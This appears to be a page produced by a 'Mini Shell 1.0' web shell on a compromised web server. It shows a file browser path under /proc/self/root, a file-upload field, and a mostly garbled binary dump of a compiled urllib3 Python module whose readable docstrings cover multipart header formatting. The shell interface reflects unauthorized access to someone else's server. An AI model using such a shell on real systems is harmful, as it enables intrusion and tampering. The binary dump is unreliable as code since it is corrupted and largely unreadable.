HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/urllib3/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/urllib3/__pycache__/fields.cpython-311.pyc
�

��fgt!����ddlmZddlZddlZddlZddlZdd�Zd�Zddd�Z	e	�
d	�edd
��D����d�Zd�Z
e
ZGd
�de��ZdS)�)�absolute_importN�application/octet-streamc�B�|rtj|��dp|S|S)z�
    Guess the "Content-Type" of a file.

    :param filename:
        The filename to guess the "Content-Type" of using :mod:`mimetypes`.
    :param default:
        If no "Content-Type" can be guessed, default to `default`.
    r)�	mimetypes�
guess_type)�filename�defaults  �0/usr/lib/python3/dist-packages/urllib3/fields.py�guess_content_typer
s,���<��#�H�-�-�a�0�;�G�;��N�c����t�tj��r��d���t	�fd�dD����s7|�d��d�}	|�d��|S#ttf$rYnwxYwtjr��d���tj
��d���|�d����tjr��d����S)a!
    Helper function to format and quote a single header parameter using the
    strategy defined in RFC 2231.

    Particularly useful for header parameters which might contain
    non-ASCII values, like file names. This follows
    `RFC 2388 Section 4.4 <https://tools.ietf.org/html/rfc2388#section-4.4>`_.

    :param name:
        The name of the parameter, a string expected to be ASCII only.
    :param value:
        The value of the parameter, provided as ``bytes`` or `str``.
    :ret:
        An RFC-2231-formatted unicode string.
    �utf-8c3� �K�|]}|�vV��	dS�N�)�.0�ch�values  �r
�	<genexpr>z.format_header_param_rfc2231.<locals>.<genexpr>+s'�����/�/�r�r�U�{�/�/�/�/�/�/rz"\
�="�"�asciiz*=)�
isinstance�six�binary_type�decode�any�encode�UnicodeEncodeError�UnicodeDecodeError�PY2�email�utils�encode_rfc2231)�namer�results ` r
�format_header_param_rfc2231r's
��� �%���)�)�&����W�%�%���/�/�/�/�Y�/�/�/�/�/��#�t�t�U�U�U�+��	��M�M�'�"�"�"��M��#�$6�7�	�	�	��D�	����
�w�&����W�%�%��
�K�&�&�u�g�6�6�E����e�e�$�E�
�w�&����W�%�%���Ls�A,�,B�?Bz%22z\\)r�\c�f�i|].}|dv�tj|��d�|����/S))�z%{:02X})r�unichr�format)r�ccs  r
�
<dictcomp>r.JsE������
�W���	�
�2���
�)�)�"�-�-���r� c�����fd�}tjd�d�����D������}|�||��}|S)Nc�:���|�d��S)Nr)�group)�match�needles_and_replacementss �r
�replacerz#_replace_multiple.<locals>.replacerSs���'����A���7�7r�|c�6�g|]}tj|����Sr)�re�escape)r�needles  r
�
<listcomp>z%_replace_multiple.<locals>.<listcomp>Ws"��S�S�S��2�9�V�$�$�S�S�Sr)r8�compile�join�keys�sub)rr4r5�patternr&s `   r
�_replace_multiplerARst���8�8�8�8�8��j��	�	�S�S�3K�3P�3P�3R�3R�S�S�S�T�T���G��[�[��5�
)�
)�F��Mrc��t|tj��r|�d��}t	|t
��}|�d|�d�S)a�
    Helper function to format and quote a single header parameter using the
    HTML5 strategy.

    Particularly useful for header parameters which might contain
    non-ASCII values, like file names. This follows the `HTML5 Working Draft
    Section 4.10.22.7`_ and matches the behavior of curl and modern browsers.

    .. _HTML5 Working Draft Section 4.10.22.7:
        https://w3c.github.io/html/sec-forms.html#multipart-form-data

    :param name:
        The name of the parameter, a string expected to be ASCII only.
    :param value:
        The value of the parameter, provided as ``bytes`` or `str``.
    :ret:
        A unicode string, stripped of troublesome characters.
    rrr)rrrrrA�_HTML5_REPLACEMENTS)r%rs  r
�format_header_param_html5rD_sL��&�%���)�)�&����W�%�%���e�%8�9�9�E����u�u�u�%�%rc�V�eZdZdZddefd�Zeefd���Zd�Zd�Z	d�Z
	d	d�ZdS)
�RequestFielda
    A data container for request body parameters.

    :param name:
        The name of this request field. Must be unicode.
    :param data:
        The data/value body.
    :param filename:
        An optional filename of the request field. Must be unicode.
    :param headers:
        An optional dict-like object of headers to initially use for the field.
    :param header_formatter:
        An optional callable that is used to encode and format the headers. By
        default, this is :func:`format_header_param_html5`.
    Nc�x�||_||_||_i|_|rt	|��|_||_dSr)�_name�	_filename�data�headers�dict�header_formatter)�selfr%rJrrKrMs      r
�__init__zRequestField.__init__�sC����
�!�����	�����	)���=�=�D�L� 0����rc���t|t��r/t|��dkr|\}}}n|\}}t|��}nd}d}|}|||||���}|�|���|S)a�
        A :class:`~urllib3.fields.RequestField` factory from old-style tuple parameters.

        Supports constructing :class:`~urllib3.fields.RequestField` from
        parameter of key/value strings AND key/filetuple. A filetuple is a
        (filename, data, MIME type) tuple where the MIME type is optional.
        For example::

            'foo': 'bar',
            'fakefile': ('foofile.txt', 'contents of foofile'),
            'realfile': ('barfile.txt', open('realfile').read()),
            'typedfile': ('bazfile.bin', open('bazfile').read(), 'image/jpeg'),
            'nonamefile': 'contents of nonamefile field',

        Field names and filenames must be unicode.
        �N)rrM)�content_type)r�tuple�lenr�make_multipart)�cls�	fieldnamerrMrrJrR�
request_params        r
�from_tupleszRequestField.from_tuples�s���$�e�U�#�#�		��5�z�z�Q���/4�,��$���!&���$�1�(�;�;����H��L��D����t�h�AQ�
�
�
�
�	�$�$�,�$�?�?�?��rc�.�|�||��S)aI
        Overridable helper function to format a single header parameter. By
        default, this calls ``self.header_formatter``.

        :param name:
            The name of the parameter, a string expected to be ASCII only.
        :param value:
            The value of the parameter, provided as a unicode string.
        )rM)rNr%rs   r
�_render_partzRequestField._render_part�s���$�$�T�5�1�1�1rc���g}|}t|t��r|���}|D]0\}}|�)|�|�||�����1d�|��S)aO
        Helper function to format and quote a single header.

        Useful for single headers that are composed of multiple items. E.g.,
        'Content-Disposition' fields.

        :param header_parts:
            A sequence of (k, v) tuples or a :class:`dict` of (k, v) to format
            as `k1="v1"; k2="v2"; ...`.
        N�; )rrL�items�appendr[r=)rN�header_parts�parts�iterabler%rs      r
�
_render_partszRequestField._render_parts�s�������l�D�)�)�	,�#�)�)�+�+�H�#�	=�	=�K�D�%�� ����T�.�.�t�U�;�;�<�<�<���z�z�%� � � rc�j�g}gd�}|D]B}|j�|d��r%|�|�d|j|�����C|j���D]%\}}||vr|r|�|�d|�����&|�d��d�|��S)z=
        Renders the headers for this request field.
        )�Content-Disposition�Content-Type�Content-LocationFz: z
)rK�getr_r^r=)rN�lines�	sort_keys�sort_key�header_name�header_values      r
�render_headerszRequestField.render_headers�s�����O�O�O�	�!�	M�	M�H��|����%�0�0�
M����(�(�(�D�L��4J�4J�K�L�L�L��)-��);�);�)=�)=�	J�	J�%�K���)�+�+��J��L�L�k�k�k�<�<�!H�I�I�I��
���W�����|�|�E�"�"�"rc���|pd|jd<|jdxxd�d|�d|jfd|jff��g��z
cc<||jd<||jd<d	S)
a|
        Makes this request field into a multipart request field.

        This method overrides "Content-Disposition", "Content-Type" and
        "Content-Location" headers to the request parameter.

        :param content_type:
            The 'Content-Type' of the request body.
        :param content_location:
            The 'Content-Location' of the request body.

        z	form-datarer]�r%rrfrgN)rKr=rcrHrI)rN�content_dispositionrR�content_locations    r
rUzRequestField.make_multipart�s���/B�.Q�\���*�+���*�+�+�+�u�z�z���"�"��t�z�*�[�$�.�,I�J���
�0
�0
�	
�+�+�+�(4���^�$�+;���'�(�(�(r)NNN)�__name__�
__module__�__qualname__�__doc__rDrO�classmethodrYr[rcrnrUrrr
rFrF~s���������(��2�
1�1�1�1� �<U�!�!�!��[�!�F2�2�2�!�!�!�,#�#�#�(MQ�<�<�<�<�<�<rrF)r)�
__future__r�email.utilsr"rr8rrr'rC�update�rangerArD�format_header_param�objectrFrrr
�<module>r~s ��&�&�&�&�&�&���������	�	�	�	�
�
�
�
�����'�'�'�V�����������%��h�'�'�������
�
�
�&�&�&�80��T<�T<�T<�T<�T<�6�T<�T<�T<�T<�T<r